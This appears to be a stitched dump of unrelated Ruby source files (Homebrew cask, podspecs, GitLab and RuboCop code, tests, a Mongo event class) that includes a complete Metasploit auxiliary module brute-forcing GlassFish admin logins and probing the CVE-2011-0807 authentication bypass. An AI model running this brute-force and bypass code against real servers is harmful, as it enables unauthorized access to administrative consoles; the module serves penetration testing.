appcast 'https://www.corecode.io/cgi-bin/check_urls/check_url_redirect.cgi?url=https://slite.com/api/desktop/download%3Fplatform=mac'
name 'Slite'
homepage 'https://slite.com/'
app 'Slite.app'
zap trash: [
'~/Library/Application Support/Slite',
'~/Library/Caches/com.slite.desktop',
'~/Library/Caches/com.slite.desktop.ShipIt',
'~/Library/Preferences/com.slite.desktop.helper.plist',
'~/Library/Preferences/com.slite.desktop.plist',
'~/Library/Saved Application State/com.slite.desktop.savedState',
]
end
| 41.363636 | 135 | 0.68022 |
287db0b02c50da3a4397c21e5f5ffb65e4f83272 | 1,544 | #
# Be sure to run `pod lib lint EJToast.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'EJToast'
s.version = '0.1.0'
s.summary = 'EJ\'s iOS Toast'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = 'You can make gorgeous Toast view!'
s.homepage = 'https://github.com/emily chung/EJToast'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'emily chung' => '[email protected]' }
s.source = { :git => 'https://github.com/emily chung/EJToast.git', :tag => s.version.to_s }
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.ios.deployment_target = '10.0'
s.source_files = 'EJToast/Classes/**/*'
s.swift_version = '5.0'
# s.resource_bundles = {
# 'EJToast' => ['EJToast/Assets/*.png']
# }
# s.public_header_files = 'Pod/Classes/**/*.h'
# s.frameworks = 'UIKit', 'MapKit'
# s.dependency 'AFNetworking', '~> 2.3'
end
| 36.761905 | 103 | 0.634715 |
1aac31852d59da1784b9874db837abd71389176f | 6,527 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe Search::SnippetService do
include SearchResultHelpers
include ProjectHelpers
include AdminModeHelper
using RSpec::Parameterized::TableSyntax
it_behaves_like 'EE search service shared examples', ::Gitlab::SnippetSearchResults, ::Gitlab::Elastic::SnippetSearchResults do
let_it_be(:user) { create(:user) }
let(:scope) { nil }
let(:service) { described_class.new(user, params) }
end
describe '#execute' do
include_context 'ProjectPolicyTable context'
before do
stub_ee_application_setting(elasticsearch_search: true, elasticsearch_indexing: true)
end
context 'visibility', :elastic_delete_by_query, :clean_gitlab_redis_shared_state, :sidekiq_inline do
include_context 'ProjectPolicyTable context'
include ProjectHelpers
let_it_be(:admin) { create(:admin) }
let_it_be(:other_user) { create(:user) }
let_it_be(:reporter) { create(:user) }
let_it_be(:guest) { create(:user) }
let_it_be(:snippet_author) { create(:user) }
context 'project snippet' do
let(:pendings) do
# TODO: Ignore some spec cases, non-members regular users or non-member admins without admin mode should see snippets if:
# - feature access level is enabled, and
# - project access level is public or internal, and
# - snippet access level is equal or more open than the project access level
# See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45988#note_436009204
[
{ snippet_level: :public, project_level: :public, feature_access_level: :enabled, membership: :admin, admin_mode: false, expected_count: 1 },
{ snippet_level: :public, project_level: :internal, feature_access_level: :enabled, membership: :admin, admin_mode: false, expected_count: 1 },
{ snippet_level: :internal, project_level: :public, feature_access_level: :enabled, membership: :admin, admin_mode: false, expected_count: 1 },
{ snippet_level: :internal, project_level: :internal, feature_access_level: :enabled, membership: :admin, admin_mode: false, expected_count: 1 },
{ snippet_level: :public, project_level: :public, feature_access_level: :enabled, membership: :non_member, admin_mode: nil, expected_count: 1 },
{ snippet_level: :public, project_level: :internal, feature_access_level: :enabled, membership: :non_member, admin_mode: nil, expected_count: 1 },
{ snippet_level: :internal, project_level: :public, feature_access_level: :enabled, membership: :non_member, admin_mode: nil, expected_count: 1 },
{ snippet_level: :internal, project_level: :internal, feature_access_level: :enabled, membership: :non_member, admin_mode: nil, expected_count: 1 }
]
end
let(:pending?) do
pendings.include?(
{
snippet_level: snippet_level,
project_level: project_level,
feature_access_level: feature_access_level,
membership: membership,
admin_mode: admin_mode,
expected_count: expected_count
}
)
end
let_it_be(:group) { create(:group) }
let_it_be(:project, refind: true) do
create(:project, :public, namespace: group).tap do |p|
p.add_user(reporter, :reporter)
p.add_user(guest, :guest)
end
end
let_it_be(:snippet) { create(:project_snippet, :public, project: project, author: snippet_author, title: 'foobar') }
where(:snippet_level, :project_level, :feature_access_level, :membership, :admin_mode, :expected_count) do
permission_table_for_project_snippet_access
end
with_them do
it 'respects visibility' do
project.update!(visibility_level: Gitlab::VisibilityLevel.level_value(project_level.to_s), snippets_access_level: feature_access_level)
snippet.update!(visibility_level: Gitlab::VisibilityLevel.level_value(snippet_level.to_s))
ensure_elasticsearch_index!
expected_objects = expected_count == 0 ? [] : [snippet]
search_user = user_from_membership(membership)
enable_admin_mode!(search_user) if admin_mode
expect_search_results(search_user, 'snippet_titles', expected_objects: expected_objects, pending: pending?) do |user|
described_class.new(user, search: snippet.title).execute
end
end
end
end
context 'personal snippet' do
let_it_be(:public_snippet) { create(:personal_snippet, :public, title: 'This is a public snippet', author: snippet_author) }
let_it_be(:private_snippet) { create(:personal_snippet, :private, title: 'This is a private snippet', author: snippet_author) }
let_it_be(:internal_snippet) { create(:personal_snippet, :internal, title: 'This is a internal snippet', author: snippet_author) }
let(:snippets) do
{
public: public_snippet,
private: private_snippet,
internal: internal_snippet
}
end
let(:snippet) { snippets[snippet_level] }
where(:snippet_level, :membership, :admin_mode, :expected_count) do
permission_table_for_personal_snippet_access
end
with_them do
it 'respects visibility' do
# When the snippets are created the ES settings are not enabled
# and we need to manually add them to ES for indexing.
::Elastic::ProcessBookkeepingService.track!(snippet)
ensure_elasticsearch_index!
expected_objects = expected_count == 0 ? [] : [snippet]
search_user = user_from_membership(membership)
enable_admin_mode!(search_user) if admin_mode
expect_search_results(search_user, 'snippet_titles', expected_objects: expected_objects) do |user|
described_class.new(user, search: snippet.title).execute
end
end
end
end
def user_from_membership(membership)
case membership
when :author
snippet.author
when :anonymous
nil
when :non_member
other_user
when :admin
admin
when :reporter
reporter
else
guest
end
end
end
end
end
| 42.383117 | 159 | 0.654972 |
3358af83fad3dcd71fdbcd7873f74c8608ef961a | 2,187 | # frozen_string_literal: true
module RuboCop
module Cop
module Lint
# This cop checks for duplicate elements in Regexp character classes.
#
# @example
#
# # bad
# r = /[xyx]/
#
# # bad
# r = /[0-9x0-9]/
#
# # good
# r = /[xy]/
#
# # good
# r = /[0-9x]/
class DuplicateRegexpCharacterClassElement < Base
include RangeHelp
extend AutoCorrector
MSG_REPEATED_ELEMENT = 'Duplicate element inside regexp character class'
def on_regexp(node)
each_repeated_character_class_element_loc(node) do |loc|
add_offense(loc, message: MSG_REPEATED_ELEMENT) do |corrector|
corrector.remove(loc)
end
end
end
def each_repeated_character_class_element_loc(node)
node.parsed_tree&.each_expression do |expr|
next if expr.type != :set || expr.token == :intersection
seen = Set.new
expr.expressions.each do |child|
next if within_interpolation?(node, child)
child_source = child.to_s
yield node.parsed_tree_expr_loc(child) if seen.include?(child_source)
seen << child_source
end
end
end
private
# Since we blank interpolations with a space for every char of the interpolation, we would
# mark every space (except the first) as duplicate if we do not skip regexp_parser nodes
# that are within an interpolation.
def within_interpolation?(node, child)
parse_tree_child_loc = node.parsed_tree_expr_loc(child)
interpolation_locs(node).any? { |il| il.overlaps?(parse_tree_child_loc) }
end
def interpolation_locs(node)
@interpolation_locs ||= {}
# Cache by loc, not by regexp content, as content can be repeated in multiple patterns
key = node.loc
@interpolation_locs[key] ||= node.children.select(&:begin_type?).map do |interpolation|
interpolation.loc.expression
end
end
end
end
end
end
| 28.038462 | 98 | 0.588935 |
289ca12b5e8ab1d005b4796c21293f681d08c28f | 5,808 | require 'date'
class DateTime
class << self
# Returns <tt>Time.zone.now.to_datetime</tt> when <tt>Time.zone</tt> or
# <tt>config.time_zone</tt> are set, otherwise returns
# <tt>Time.now.to_datetime</tt>.
def current
::Time.zone ? ::Time.zone.now.to_datetime : ::Time.now.to_datetime
end
end
# Seconds since midnight: DateTime.now.seconds_since_midnight.
def seconds_since_midnight
sec + (min * 60) + (hour * 3600)
end
# Returns the number of seconds until 23:59:59.
#
# DateTime.new(2012, 8, 29, 0, 0, 0).seconds_until_end_of_day # => 86399
# DateTime.new(2012, 8, 29, 12, 34, 56).seconds_until_end_of_day # => 41103
# DateTime.new(2012, 8, 29, 23, 59, 59).seconds_until_end_of_day # => 0
def seconds_until_end_of_day
end_of_day.to_i - to_i
end
# Returns a new DateTime where one or more of the elements have been changed
# according to the +options+ parameter. The time options (<tt>:hour</tt>,
# <tt>:min</tt>, <tt>:sec</tt>) reset cascadingly, so if only the hour is
# passed, then minute and sec is set to 0. If the hour and minute is passed,
# then sec is set to 0. The +options+ parameter takes a hash with any of these
# keys: <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>,
# <tt>:min</tt>, <tt>:sec</tt>, <tt>:offset</tt>, <tt>:start</tt>.
#
# DateTime.new(2012, 8, 29, 22, 35, 0).change(day: 1) # => DateTime.new(2012, 8, 1, 22, 35, 0)
# DateTime.new(2012, 8, 29, 22, 35, 0).change(year: 1981, day: 1) # => DateTime.new(1981, 8, 1, 22, 35, 0)
# DateTime.new(2012, 8, 29, 22, 35, 0).change(year: 1981, hour: 0) # => DateTime.new(1981, 8, 29, 0, 0, 0)
def change(options)
::DateTime.civil(
options.fetch(:year, year),
options.fetch(:month, month),
options.fetch(:day, day),
options.fetch(:hour, hour),
options.fetch(:min, options[:hour] ? 0 : min),
options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec + sec_fraction),
options.fetch(:offset, offset),
options.fetch(:start, start)
)
end
# Uses Date to provide precise Time calculations for years, months, and days.
# The +options+ parameter takes a hash with any of these keys: <tt>:years</tt>,
# <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>,
# <tt>:minutes</tt>, <tt>:seconds</tt>.
def advance(options)
unless options[:weeks].nil?
options[:weeks], partial_weeks = options[:weeks].divmod(1)
options[:days] = options.fetch(:days, 0) + 7 * partial_weeks
end
unless options[:days].nil?
options[:days], partial_days = options[:days].divmod(1)
options[:hours] = options.fetch(:hours, 0) + 24 * partial_days
end
d = to_date.advance(options)
datetime_advanced_by_date = change(:year => d.year, :month => d.month, :day => d.day)
seconds_to_advance = \
options.fetch(:seconds, 0) +
options.fetch(:minutes, 0) * 60 +
options.fetch(:hours, 0) * 3600
if seconds_to_advance.zero?
datetime_advanced_by_date
else
datetime_advanced_by_date.since(seconds_to_advance)
end
end
# Returns a new DateTime representing the time a number of seconds ago.
# Do not use this method in combination with x.months, use months_ago instead!
def ago(seconds)
since(-seconds)
end
# Returns a new DateTime representing the time a number of seconds since the
# instance time. Do not use this method in combination with x.months, use
# months_since instead!
def since(seconds)
self + Rational(seconds.round, 86400)
end
alias :in :since
# Returns a new DateTime representing the start of the day (0:00).
def beginning_of_day
change(:hour => 0)
end
alias :midnight :beginning_of_day
alias :at_midnight :beginning_of_day
alias :at_beginning_of_day :beginning_of_day
# Returns a new DateTime representing the middle of the day (12:00)
def middle_of_day
change(:hour => 12)
end
alias :midday :middle_of_day
alias :noon :middle_of_day
alias :at_midday :middle_of_day
alias :at_noon :middle_of_day
alias :at_middle_of_day :middle_of_day
# Returns a new DateTime representing the end of the day (23:59:59).
def end_of_day
change(:hour => 23, :min => 59, :sec => 59)
end
alias :at_end_of_day :end_of_day
# Returns a new DateTime representing the start of the hour (hh:00:00).
def beginning_of_hour
change(:min => 0)
end
alias :at_beginning_of_hour :beginning_of_hour
# Returns a new DateTime representing the end of the hour (hh:59:59).
def end_of_hour
change(:min => 59, :sec => 59)
end
alias :at_end_of_hour :end_of_hour
# Returns a new DateTime representing the start of the minute (hh:mm:00).
def beginning_of_minute
change(:sec => 0)
end
alias :at_beginning_of_minute :beginning_of_minute
# Returns a new DateTime representing the end of the minute (hh:mm:59).
def end_of_minute
change(:sec => 59)
end
alias :at_end_of_minute :end_of_minute
# Adjusts DateTime to UTC by adding its offset value; offset is set to 0.
#
# DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)) # => Mon, 21 Feb 2005 10:11:12 -0600
# DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)).utc # => Mon, 21 Feb 2005 16:11:12 +0000
def utc
new_offset(0)
end
alias_method :getutc, :utc
# Returns +true+ if <tt>offset == 0</tt>.
def utc?
offset == 0
end
# Returns the offset value in seconds.
def utc_offset
(offset * 86400).to_i
end
# Layers additional behavior on DateTime#<=> so that Time and
# ActiveSupport::TimeWithZone instances can be compared with a DateTime.
def <=>(other)
if other.respond_to? :to_datetime
super other.to_datetime
else
nil
end
end
end
| 33.767442 | 111 | 0.662018 |
5ddbfa560dd601eab1b822b98c5d1a96600a44c9 | 1,787 | # frozen_string_literal: true
# encoding: utf-8
# Copyright (C) 2016-2020 MongoDB Inc.
#
# Licensed under the Apache License, Version 2.0 (the 'License');
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an 'AS IS' BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
module Mongo
class Monitoring
module Event
# Event fired when the server is opening.
#
# @since 2.4.0
class ServerOpening < Mongo::Event::Base
# @return [ Address ] address The server address.
attr_reader :address
# @return [ Topology ] topology The topology.
attr_reader :topology
# Create the event.
#
# @example Create the event.
# ServerOpening.new(address)
#
# @param [ Address ] address The server address.
# @param [ Integer ] topology The topology.
#
# @since 2.4.0
def initialize(address, topology)
@address = address
@topology = topology
end
# Returns a concise yet useful summary of the event.
#
# @return [ String ] String summary of the event.
#
# @note This method is experimental and subject to change.
#
# @since 2.7.0
# @api experimental
def summary
"#<#{short_class_name}" +
" address=#{address} topology=#{topology.summary}>"
end
end
end
end
end
| 28.365079 | 74 | 0.622272 |
bb6a6396f4a161103ccc7b9313a461972f16f208 | 2,591 | require 'spec_helper'
describe Listen::TCP do
let(:port) { 4000 }
let(:broadcaster) { Listen.to(Dir.pwd, forward_to: port) }
let(:recipient) { Listen.on(port) }
let(:callback) { ->(modified, added, removed) {
add_changes(:modified, modified)
add_changes(:added, added)
add_changes(:removed, removed)
} }
let(:paths) { Pathname.new(Dir.pwd) }
around { |example| fixtures { |path| example.run } }
before do
broadcaster.start
end
context 'when broadcaster' do
before do
broadcaster.block = callback
end
it 'still handles local changes' do
expect(listen {
touch 'file.rb'
}).to eq(
modified: [],
added: ['file.rb'],
removed: []
)
end
it 'may be paused and unpaused' do
broadcaster.pause
expect(listen {
touch 'file.rb'
}).to eq(
modified: [],
added: [],
removed: []
)
broadcaster.unpause
expect(listen {
touch 'file.rb'
}).to eq(
modified: ['file.rb'],
added: [],
removed: []
)
end
it 'may be stopped and restarted' do
broadcaster.stop
expect(listen {
touch 'file.rb'
}).to eq(
modified: [],
added: [],
removed: []
)
broadcaster.start
expect(listen {
touch 'file.rb'
}).to eq(
modified: ['file.rb'],
added: [],
removed: []
)
end
end
context 'when recipient' do
before do
recipient.start
recipient.block = callback
end
it 'receives changes over TCP' do
expect(listen(1) {
touch 'file.rb'
}).to eq(
modified: [],
added: ['file.rb'],
removed: []
)
end
it 'may be paused and unpaused' do
recipient.pause
expect(listen(1) {
touch 'file.rb'
}).to eq(
modified: [],
added: [],
removed: []
)
recipient.unpause
expect(listen(1) {
touch 'file.rb'
}).to eq(
modified: ['file.rb'],
added: [],
removed: []
)
end
it 'may be stopped and restarted' do
recipient.stop
expect(listen(1) {
touch 'file.rb'
}).to eq(
modified: [],
added: [],
removed: []
)
recipient.start
expect(listen(1) {
touch 'file.rb'
}).to eq(
modified: ['file.rb'],
added: [],
removed: []
)
end
end
end
| 17.993056 | 60 | 0.484369 |
91ccca14fa6fc672d2a9b1d84abd5ad1caf93ab4 | 1,556 | require_relative '../../spec_helper'
describe FiguresIntersection::StraightLineSegmentComparator do
describe '.intersect' do
context 'when segment is vertical' do
it 'returns Point when it has intersection' do
expect(
described_class.intersect(
straight_line: FiguresIntersection::StraightLine.new(k: 2, b: -1),
segment: FiguresIntersection::Segment.new(x: 3, y: 1, x1: 3, y1: 10)
)
).to eq(FiguresIntersection::Point.new(x: 3, y: 5))
end
it 'returns [] when it has not intersection' do
expect(
described_class.intersect(
straight_line: FiguresIntersection::StraightLine.new(k: 2, b: -1),
segment: FiguresIntersection::Segment.new(x: 3, y: 1, x1: 3, y1: 4)
)
).to eq([])
end
end
context 'when segment is not vertical' do
it 'returns Point when it has intersection' do
expect(
described_class.intersect(
straight_line: FiguresIntersection::StraightLine.new(k: 2, b: -1),
segment: FiguresIntersection::Segment.new(x: 2, y: 6, x1: 4, y1: 4)
)
).to eq(FiguresIntersection::Point.new(x: 3, y: 5))
end
it 'returns [] when it has not intersection' do
expect(
described_class.intersect(
straight_line: FiguresIntersection::StraightLine.new(k: 2, b: -1),
segment: FiguresIntersection::Segment.new(x: 2, y: 6, x1: 0, y1: 6)
)
).to eq([])
end
end
end
end
| 33.826087 | 80 | 0.592545 |
387ac036c038eb8feed4f8c73b3a6aba1101aa57 | 1,152 | # frozen_string_literal: true
$LOAD_PATH.push File.expand_path('lib', __dir__)
require 'blueprints_boy/version'
Gem::Specification.new do |s|
s.name = 'blueprints_boy'
s.version = BlueprintsBoy::VERSION
s.authors = ['Andrius Chamentauskas']
s.email = ['[email protected]']
s.homepage = 'http://andriusch.github.io/blueprints_boy/'
s.summary = 'The ultimate solution to managing test data.'
s.description = 'The ultimate DRY and fast solution to managing any kind of test data. Based on Blueprints.'
s.rubyforge_project = 'blueprints_boy'
s.files = `git ls-files`.split("\n")
s.test_files = `git ls-files -- {test,spec,features}/*`.split("\n")
s.executables = `git ls-files -- bin/*`.split("\n").map { |f| File.basename(f) }
s.require_paths = ['lib']
s.required_ruby_version = '>= 2.4'
s.add_development_dependency 'appraisal'
s.add_development_dependency 'cucumber'
s.add_development_dependency 'rake'
s.add_development_dependency 'rspec'
s.add_development_dependency 'rubocop', '1.11'
s.add_runtime_dependency 'activesupport', '>= 3.0.0'
s.add_runtime_dependency 'database_cleaner-core'
end
| 36 | 110 | 0.727431 |
115f72a9a0bb3c421ac1edc7bec6e3cca6409b6d | 4,872 | describe Travis::Yml, 'accept deploy', slow: true do
subject { described_class.schema }
xit { puts JSON.pretty_generate(subject[:definitions][:boxfuse]) }
describe 'boxfuse' do
describe 'user' do
it { should validate deploy: { provider: :boxfuse, user: 'str' } }
it { should_not validate deploy: { provider: :boxfuse, user: 1 } }
it { should_not validate deploy: { provider: :boxfuse, user: true } }
it { should_not validate deploy: { provider: :boxfuse, user: ['str'] } }
it { should_not validate deploy: { provider: :boxfuse, user: {:foo=>'foo'} } }
it { should_not validate deploy: { provider: :boxfuse, user: [{:foo=>'foo'}] } }
end
describe 'secret' do
it { should validate deploy: { provider: :boxfuse, secret: 'str' } }
it { should_not validate deploy: { provider: :boxfuse, secret: 1 } }
it { should_not validate deploy: { provider: :boxfuse, secret: true } }
it { should_not validate deploy: { provider: :boxfuse, secret: ['str'] } }
it { should_not validate deploy: { provider: :boxfuse, secret: {:foo=>'foo'} } }
it { should_not validate deploy: { provider: :boxfuse, secret: [{:foo=>'foo'}] } }
end
describe 'configfile' do
it { should validate deploy: { provider: :boxfuse, configfile: 'str' } }
it { should_not validate deploy: { provider: :boxfuse, configfile: 1 } }
it { should_not validate deploy: { provider: :boxfuse, configfile: true } }
it { should_not validate deploy: { provider: :boxfuse, configfile: ['str'] } }
it { should_not validate deploy: { provider: :boxfuse, configfile: {:foo=>'foo'} } }
it { should_not validate deploy: { provider: :boxfuse, configfile: [{:foo=>'foo'}] } }
end
describe 'payload' do
it { should validate deploy: { provider: :boxfuse, payload: 'str' } }
it { should_not validate deploy: { provider: :boxfuse, payload: 1 } }
it { should_not validate deploy: { provider: :boxfuse, payload: true } }
it { should_not validate deploy: { provider: :boxfuse, payload: ['str'] } }
it { should_not validate deploy: { provider: :boxfuse, payload: {:foo=>'foo'} } }
it { should_not validate deploy: { provider: :boxfuse, payload: [{:foo=>'foo'}] } }
end
describe 'app' do
it { should validate deploy: { provider: :boxfuse, app: 'str' } }
it { should_not validate deploy: { provider: :boxfuse, app: 1 } }
it { should_not validate deploy: { provider: :boxfuse, app: true } }
it { should_not validate deploy: { provider: :boxfuse, app: ['str'] } }
it { should_not validate deploy: { provider: :boxfuse, app: {:foo=>'foo'} } }
it { should_not validate deploy: { provider: :boxfuse, app: [{:foo=>'foo'}] } }
end
describe 'version' do
it { should validate deploy: { provider: :boxfuse, version: 'str' } }
it { should_not validate deploy: { provider: :boxfuse, version: 1 } }
it { should_not validate deploy: { provider: :boxfuse, version: true } }
it { should_not validate deploy: { provider: :boxfuse, version: ['str'] } }
it { should_not validate deploy: { provider: :boxfuse, version: {:foo=>'foo'} } }
it { should_not validate deploy: { provider: :boxfuse, version: [{:foo=>'foo'}] } }
end
describe 'env' do
it { should validate deploy: { provider: :boxfuse, env: 'str' } }
it { should_not validate deploy: { provider: :boxfuse, env: 1 } }
it { should_not validate deploy: { provider: :boxfuse, env: true } }
it { should_not validate deploy: { provider: :boxfuse, env: ['str'] } }
it { should_not validate deploy: { provider: :boxfuse, env: {:foo=>'foo'} } }
it { should_not validate deploy: { provider: :boxfuse, env: [{:foo=>'foo'}] } }
end
describe 'image' do
it { should validate deploy: { provider: :boxfuse, image: 'str' } }
it { should_not validate deploy: { provider: :boxfuse, image: 1 } }
it { should_not validate deploy: { provider: :boxfuse, image: true } }
it { should_not validate deploy: { provider: :boxfuse, image: ['str'] } }
it { should_not validate deploy: { provider: :boxfuse, image: {:foo=>'foo'} } }
it { should_not validate deploy: { provider: :boxfuse, image: [{:foo=>'foo'}] } }
end
describe 'extra_args' do
it { should validate deploy: { provider: :boxfuse, extra_args: 'str' } }
it { should_not validate deploy: { provider: :boxfuse, extra_args: 1 } }
it { should_not validate deploy: { provider: :boxfuse, extra_args: true } }
it { should_not validate deploy: { provider: :boxfuse, extra_args: ['str'] } }
it { should_not validate deploy: { provider: :boxfuse, extra_args: {:foo=>'foo'} } }
it { should_not validate deploy: { provider: :boxfuse, extra_args: [{:foo=>'foo'}] } }
end
end
end
| 54.741573 | 92 | 0.621511 |
d5b9bd1472b5d527dd3a6ca766fe1122b59e44b9 | 216 | FactoryBot.define do
factory :ecm_rbac_role_permission, class: Ecm::Rbac::RolePermission do
association :role, factory: :ecm_rbac_role
association :permission, factory: :ecm_rbac_permission
end
end
| 30.857143 | 72 | 0.763889 |
4a673e64537c95eb8417bc7cbe6222cf0c95f5fd | 1,208 | # frozen_string_literal: true
# WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
Gem::Specification.new do |spec|
spec.name = 'aws-sdk-identitystore'
spec.version = File.read(File.expand_path('../VERSION', __FILE__)).strip
spec.summary = 'AWS SDK for Ruby - IdentityStore'
spec.description = 'Official AWS Ruby gem for AWS SSO Identity Store (IdentityStore). This gem is part of the AWS SDK for Ruby.'
spec.author = 'Amazon Web Services'
spec.homepage = 'https://github.com/aws/aws-sdk-ruby'
spec.license = 'Apache-2.0'
spec.email = ['[email protected]']
spec.require_paths = ['lib']
spec.files = Dir['lib/**/*.rb']
spec.metadata = {
'source_code_uri' => 'https://github.com/aws/aws-sdk-ruby/tree/master/gems/aws-sdk-identitystore',
'changelog_uri' => 'https://github.com/aws/aws-sdk-ruby/tree/master/gems/aws-sdk-identitystore/CHANGELOG.md'
}
spec.add_dependency('aws-sdk-core', '~> 3', '>= 3.112.0')
spec.add_dependency('aws-sigv4', '~> 1.1')
end
| 37.75 | 132 | 0.672185 |
793b647551f9e36d138e605f2ebf1fd5dc42bc62 | 663 | class CreateExibition < ActiveRecord::Migration
def self.up
create_table :exibitions, force: true do |t|
t.string :uuid, limit: 36
t.references :user
t.integer :assigned_to
t.string :name, limit: 64, null: false, default: ""
t.string :access, limit: 8, default: "Public" # %w(Private Public Shared)
t.string :status, limit: 64
# Dates.
t.date :starts_on
t.date :ends_on
t.datetime :deleted_at
t.timestamps
end
add_index :exibitions, [:user_id, :name, :deleted_at], unique: true
add_index :exibitions, :assigned_to
end
def self.down
drop_table :exibitions
end
end
| 26.52 | 79 | 0.642534 |
916d510f21a85f338a6263d6f2f213fbe270c44c | 6,330 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/login_scanner/glassfish'
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'GlassFish Brute Force Utility',
'Description' => %q{
This module attempts to login to GlassFish instance using username and password
combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options.
It will also try to do an authentication bypass against older versions of GlassFish.
Note: by default, GlassFish 4.0 requires HTTPS, which means you must set the SSL option
to true, and SSLVersion to TLS1. It also needs Secure Admin to access the DAS remotely.
},
'Author' =>
[
'Joshua Abraham <jabra[at]spl0it.org>', # @Jabra
'sinn3r'
],
'References' =>
[
['CVE', '2011-0807'],
['OSVDB', '71948']
],
'License' => MSF_LICENSE
)
register_options(
[
# There is no TARGETURI because when Glassfish is installed, the path is /
Opt::RPORT(4848),
OptString.new('USERNAME',[true, 'A specific username to authenticate as','admin']),
], self.class)
end
#
# Module tracks the session id, and then it will have to pass the last known session id to
# the LoginScanner class so the authentication can proceed properly
#
#
# For a while, older versions of Glassfish didn't need to set a password for admin,
# but looks like no longer the case anymore, which means this method is getting useless
# (last tested: Aug 2014)
#
def is_password_required?(version)
success = false
if version =~ /^[29]\.x$/
res = send_request_cgi({'uri'=>'/applications/upload.jsf'})
p = /<title>Deploy Enterprise Applications\/Modules/
if (res && res.code.to_i == 200 && res.body.match(p) != nil)
success = true
end
elsif version =~ /^3\./
res = send_request_cgi({'uri'=>'/common/applications/uploadFrame.jsf'})
p = /<title>Deploy Applications or Modules/
if (res && res.code.to_i == 200 && res.body.match(p) != nil)
success = true
end
end
success
end
def init_loginscanner(ip)
@cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
@scanner = Metasploit::Framework::LoginScanner::Glassfish.new(
configure_http_login_scanner(
cred_details: @cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
http_username: datastore['HttpUsername'],
http_password: datastore['HttpPassword']
)
)
end
def do_report(ip, port, result)
service_data = {
address: ip,
port: port,
service_name: 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
username: result.credential.public,
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: result.status
}.merge(service_data)
create_credential_login(login_data)
end
def bruteforce(ip)
@scanner.scan! do |result|
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
do_report(ip, rport, result)
when Metasploit::Model::Login::Status::DENIED_ACCESS
print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'"
do_report(ip, rport, result)
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status
)
when Metasploit::Model::Login::Status::INCORRECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
end
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status
)
end
end
end
#
# main
#
def run_host(ip)
init_loginscanner(ip)
msg = @scanner.check_setup
if msg
print_brute :level => :error, :ip => rhost, :msg => msg
return
end
print_brute :level=>:status, :ip=>rhost, :msg=>('Checking if Glassfish requires a password...')
if @scanner.version =~ /^[239]\.x$/ && is_password_required?(@scanner.version)
print_brute :level => :good, :ip => ip, :msg => "Note: This Glassfish does not require a password"
else
print_brute :level=>:status, :ip=>rhost, :msg=>("Glassfish is protected with a password")
end
bruteforce(ip) unless @scanner.version.blank?
end
end
| 32.461538 | 124 | 0.627646 |
e2fc35f437b08eb54420de34a9729b07eac9b0f2 | 2,110 | # -*- encoding: utf-8 -*-
# stub: sass-rails 5.0.6 ruby lib
Gem::Specification.new do |s|
s.name = "sass-rails".freeze
s.version = "5.0.6"
s.required_rubygems_version = Gem::Requirement.new(">= 0".freeze) if s.respond_to? :required_rubygems_version=
s.require_paths = ["lib".freeze]
s.authors = ["wycats".freeze, "chriseppstein".freeze]
s.date = "2016-07-22"
s.description = "Sass adapter for the Rails asset pipeline.".freeze
